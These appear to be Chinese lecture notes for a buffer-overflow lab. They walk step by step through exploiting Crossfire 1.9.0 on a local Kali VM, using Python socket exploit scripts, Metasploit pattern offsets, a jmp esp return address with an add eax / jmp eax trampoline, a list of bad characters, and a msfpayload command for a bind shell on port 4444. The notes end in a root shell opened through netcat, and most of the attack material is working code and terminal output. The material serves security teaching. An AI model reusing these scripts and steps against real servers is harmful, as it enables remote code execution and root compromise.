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课时42 Linux缓冲区溢出.txt
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课时42 Linux缓冲区溢出.txt
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课时42 Linux缓冲区溢出
╋━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃Crossfire ┃
┃ 多人在线RPG游戏 ┃
┃ 1.9.0版本接受入展socket连接时攒在缓冲区溢出漏洞 ┃
┃调试工具 ┃
┃ edb ┃
┃运行平台 ┃
┃ Kali i486虚拟机 ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━╋
root@kali:~# cd /usr/games/
root@kali:/usr/games# ls
crossfire
root@kali:/usr/games# rm -rf crossfire
root@kali:~# mv crossfie.tar.gz /usr/games/
root@kali:~# cd /usr/games/
root@kali:/usr/games# ls
crossfire.tar.gz
root@kali:/usr/games# tar zxpf cossfire.tar.gz
root@kali:/usr/games# ls
crossfile crossfire.tar.gz
root@kali:/usr/games# ls -l
total 4860
drwxr-xr-x 8 root root 4096 Feb 10 2010 crossfire
-rwxrwx--- 1 root root 4968636 Aug 31 09:12 crossfire.tar.gz
root@kali:/usr/games# cd crossfire/
root@kali:/usr/games/crossfire# ls
bin etc lib man share var
root@kali:/usr/games/crossfire# cd bin/
root@kali:/usr/games/crossfire/bin# ls
crossedit crossfire-config crossloop-pl player_dl.pl
crossfire crossloop crossloop.web
root@kali:/usr/games/crossfire/bin# ./crossfire
Unable to open /var/log/crossfire/logfile as the logfile - will use stderr instead
Couldn't find archetypt horn_waves
Warning: failed to find arch horn_waves
Couldn't find treasurelist sarcophagus
Filed to link treasure to arch (sarcophagus_container): sarcophagus
Welcome to CrossFile. v1.9.0
Copyright (C) 1994 Mark Wedel
Copyright (C) 1992 Frank Tore Johansen.
----------registering SIGPIPE
Initializing plugins
Plugins directory is /usr/games/crossfire/lib/crossfir/plugins/
-> Loading plugin : cfpython.so
Error trying to load /usr/games/crossfire/lib/crossfir/plugins/cfpython.so: lib
python2.5.so.1.0: cannot open shared object file: No such file or directory
-> Loading plugin : cfpython.so
CFAnim 2.0a init
CFAnim 2.0a post init
Warting for connections...
逆向工程---->edb-debugger
ollydbg
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃本机调试 ┃
┃ iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP ┃
┃ iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
root@kali:/usr/games/crossfire/bin# iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
root@kali:/usr/games/crossfire/bin# iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
root@kali:/usr/games/crossfire/bin# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere !localhost tcp dpt:4444
DROP tcp -- anywhere !localhost tcp dpt:13327
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
╋━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃解压 ┃
┃ /usr/games ┃
┃ tar zxpg crossfire.tar.gz ┃
┃调试 ┃
┃ edb -run /usr/games/crossfire/bin/crossfire ┃
┃ 01.py ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━╋
root@kali:~# edb -run /usr/games/crossfire/bin/crossfire
Starting edb version: 0.9.20
Please Report Bugs & Requests At: http://bugs.codef00.com/
No symbol path specified. Please set it in the preferences to enable symbols.
NO session path specified, Using current working directory.
[SessionManager] loading session file: "/root/crossfire.edb" for: "/usr/games/crossfire/bin/crossfire"
No mian symbol found, calculated it to be "08085ae0" using heuristic
comparing versions: [2324] [2324]
No session path specified, Using crrent working directory.
[SessionManager] saving session file: "/root/crossfire.edb" for: "/usr/games/crossfire/bin/crossfire"
点两次run,变成running
root@kali:~# netstat -pantu | grep 13327
tcp 0 0 0.0.0.0:13327 LISTEN
3521/crossfire
root@kali:~# netstat -pantu | grep 13327
tcp 0 0 0.0.0.0:13327 LISTEN
3521/crossfire
root@kali:~# netstat -pantu | grep 13327
tcp 0 0 0.0.0.0:13327 LISTEN
3521/crossfire
root@kali:~# netstat -pantu | grep 13327
tcp 0 0 0.0.0.0:13327 LISTEN
3521/crossfire
root@kali:~# netstat -pantu | grep 13327
tcp 0 0 0.0.0.0:13327 LISTEN
3521/crossfire
root@kali:~# netstat -pantu | grep 13327
tcp 0 0 0.0.0.0:13327 LISTEN
3521/crossfire
root@kali:~# ps aux | grep 13327
root 3581 0.0 0.0 3504 1856 pts/2 S+ 09:29 0:00 grep 1337
root@kali:~# kill 3521
root@kali:~# netstat -pantu | grep 13327 //运行调试命令
root@kali:~# netstat -pantu | grep 13327 //打开edb-debugger
root@kali:~# netstat -pantu | grep 13327 //第一次run
root@kali:~# netstat -pantu | grep 13327 //第二次run
tcp 0 0 0.0.0.0:13327 LISTEN
3593/crossfire
╭────────────────────────────────────────────╮
[01.py]
#!/usr/bin/python
import socket
host = "127.0.0.1"
crash = "\x41" + 4379
buffer = "\x11(setup sound" + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
╰────────────────────────────────────────────╯
root@kali:~# edb -run /usr/games/crossfire/bin/crossfire
Starting edb version: 0.9.20
Please Report Bugs & Requests At: http://bugs.codef00.com/
No symbol path specified. Please set it in the preferences to enable symbols.
NO session path specified, Using current working directory.
[SessionManager] loading session file: "/root/crossfire.edb" for: "/usr/games/crossfire/bin/crossfire"
No mian symbol found, calculated it to be "08085ae0" using heuristic
comparing versions: [2324] [2324]
No session path specified, Using crrent working directory.
[SessionManager] saving session file: "/root/crossfire.edb" for: "/usr/games/crossfire/bin/crossfire"
点两次run,变成running
root@kali:~# ./01.py
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃唯一字符串识别EIP精确位置 ┃
┃ /usr/share/metasploit-framework/tools/pattern_create.rb 4379 ┃
┃ 02.py ┃
┃ /usr/share/metasploit-framework/tools/pattern_offset.rb 46367046┃
┃ 4368 ┃
┃ 03.py ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
root@kali:~# cd /usr/share/metasploit-framework/tools/
root@kali:/usr/share/metasploit-framework/tools# ./pa
pattern_create.rb pattern_offset.rb payload_lengths.rb
root@kali:/usr/share/metasploit-framework/tools# ./pattern_create.rb 4379
╭────────────────────────────────────────────╮
[02.py]
#!/usr/bin/python
import socket
host = "127.0.0.1"
crash = ' */溢出字符串/* '
buffer = "\x11(setup sound" + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
╰────────────────────────────────────────────╯
root@kali:~# ./02.py
[*]Sending evil buffer...
#version 1023 1027 Crossfire Server
[*]Payload Sent!
root@kali:~# cd /usr/share/metasploit-framework/tools/
root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 46367046
[*] Exact mathc at of set 4368
╭────────────────────────────────────────────╮
[03.py]
#!/usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + 'C'*7
#crash = 'A'*4368 + 'B'*4 + '\x83\xc0\xc0\xff\xe0\x90\x90'
buffer = "\x11(setup sound" + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
╰────────────────────────────────────────────╯
root@kali:~# ./03.py
[*]Sending evil buffer...
#version 1023 1027 Crossfire Server
[*]Payload Sent!
╋━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃思路： ┃
┃第一阶段shellcode ┃
┃ ESP跳转到EAX ┃
┃ 便宜12个字节 ┃
┃setup sound shellcode2 ┃
┃/usr/share/metasploit-framework/tools/nasm_shell.rb ┃
┃ add eax,12 ┃
┃ jmp eax ┃
┃ ┃
┃ ┃
┃\x83\xc0\x0c\xff\xe0\x90\x90 ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━╋
root@kali:~# cd /usr/share/metasploit-framework/tools/
root@kali:/usr/share/metasploit-framework/tools# ./nasm_shell.rb
nasm > add eax,12
00000000 83C00C add eax,bytes +0xc
nasm > jmp eax
00000000 FFE0 jmp eax
╋━━━━━━━━━━━╋
┃FUZZING ┃
┃查找坏字符 ┃
┃ \x00\x0a\x0b\x20 ┃
╋━━━━━━━━━━━╋
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃ESP跳转地址 ┃
┃ Opcode serach ┃
┃ crash="\x41"*4368 + "\x97\x45\x13\x00" + "\x83\xc0\x0c\xff\xe0\x90\x90" ┃
┃设断点（0x08134597) ┃
┃ EIP-----08134597 ┃
┃ jmp esp ┃
┃ add eax,12 ┃
┃ jmp eax ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b ┃
┃"\x00\x0a\x0b\x20" ┃
┃ ┃
┃ ┃
┃05.py ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
╭────────────────────────────────────────────╮
[04.py]
#!/usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + '\x97\x45\x13\x00' + '\x83\xc0\x0c\xff\xe0\x90\x90'
#crash = 'A'*4368 + 'B'*4 + '\x83' + '\xc0' + '\xc0' + '\xff' + '\xe0'
buffer = "\x11(setup sound" + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
╰────────────────────────────────────────────╯
root@kali:~# ./04.py
[*]Sending evil buffer...
#version 1023 1027 Crossfire Server
[*]Payload Sent!
root@kali:~# msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0b\x20"
╭────────────────────────────────────────────╮
[05.py]
#!/usr/bin/python
import socket
host = "127.0.0.1"
shellcode = (
// 溢出字符串
)
crash = shellcode + 'A'*(4368-105) + '\x97\x45\x13\x00' + '\x83\xc0\x0c\xff\xe0\x90\x90'
'
buffer = "\x11(setup sound" + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
╰────────────────────────────────────────────╯
root@kali:~# cd /usr/share/games/crossfire/bin
root@kali:/usr/share/games/crossfire/bin# ./crossfire
root@kali:~# ./05.py
[*]Sending evil buffer...
#version 1023 1027 Crossfire Server
[*]Payload Sent!
root@kali:~# netstat -pantu | grep 4444
tcp 0 0 0.0.0.0:4444 LISTEN
4300/crossfire
root@kali:~# nc 127.0.0.1 4444
id
uid=0(root) gid=0(root) group=0(root)
ls
crossedit
crossfire
crossfrie-config
crossloop
crossloop.pl
croosloop.web
player_dl.pl
pwd
/usr/games/crossfrie
root@kali:~# find / -name msfpayload
/usr/share/framework2/msfpayload
/usr/share/framework2/data/msfpayload